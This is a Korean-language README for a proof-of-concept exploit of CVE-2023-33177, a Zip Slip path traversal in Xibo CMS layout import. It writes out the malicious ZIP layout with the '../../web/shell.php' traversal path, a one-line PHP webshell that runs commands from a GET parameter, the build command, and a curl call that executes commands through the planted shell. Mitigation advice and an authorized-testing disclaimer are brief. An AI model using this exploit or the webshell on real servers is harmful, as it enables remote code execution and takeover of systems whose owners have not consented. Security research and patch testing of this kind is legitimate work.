
이 익스플로잇은 악의적인 레이아웃 임포트를 통해 원격 코드 실행을 가능하게 하는 Xibo CMS(CVE-2023-33177)의 **경로 탐색 취약점**을 시연합니다.
이 익스플로잇은 Xibo CMS(CVE-2023-33177)의 경로 탐색(Path Traversal) 취약점을 시연하며, 악성 레이아웃 가져오기를 통해 원격 코드 실행(RCE)을 가능하게 합니다.
CVE/권고: CVE-2023-33177 영향받는 버전:
취약점 유형: 경로 탐색 (Zip Slip) 영향: 원격 코드 실행 (RCE)
Xibo CMS는 인증된 사용자가 ZIP 아카이브를 통해 레이아웃 파일을 가져올 수 있게 합니다. 가져오기 기능은 mapping.json 파일의 파일 경로를 제대로 검증하지 못하며, 이로 인해 공격자는 경로 탐색 시퀀스(../../)를 사용하여 의도된 라이브러리 디렉터리 밖에 파일을 작성할 수 있습니다.
mapping.json에 경로 탐색을 주입: ../../web/shell.php를 파일 경로로 사용library/../../web/shell.php에 웹셸을 배치/var/www/cms/web/shell.php로 해석됨Zip contains: library/../../web/shell.php
Xibo reads: library/ + ../../web/shell.php (from mapping.json)
Xibo writes: /var/www/cms/library/temp/ + ../../web/shell.php
Result: /var/www/cms/web/shell.php ← Webshell in web root!
python3 create_exploit.py
이 명령은 악성 레이아웃 패키지가 포함된 exploit.zip을 생성합니다.
xibo_admin / password)exploit.zip 업로드curl 'http://localhost:8080/shell.php?cmd=id'
익스플로잇 ZIP에는 다음이 포함됩니다:
exploit.zip
├── layout.json # Valid Xibo layout definition
├── playlist.json # Empty playlist (triggers JSON import)
├── mapping.json # Contains path traversal payload
└── library/
└── ../../web/
└── shell.php # PHP webshell (gets extracted to web root)
내장된 웹셸은 최소한의 형태입니다:
<?php system($_GET["cmd"]); ?>
접근 방법: http://<target>/shell.php?cmd=<command>
패치된 버전:
완화 전략:
.. 또는 절대 경로가 포함된 경로 거부이 익스플로잇은 다음 목적으로 제공됩니다:
소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에는 이 익스플로잇을 사용하지 마십시오.
complexusprada 2025년 11월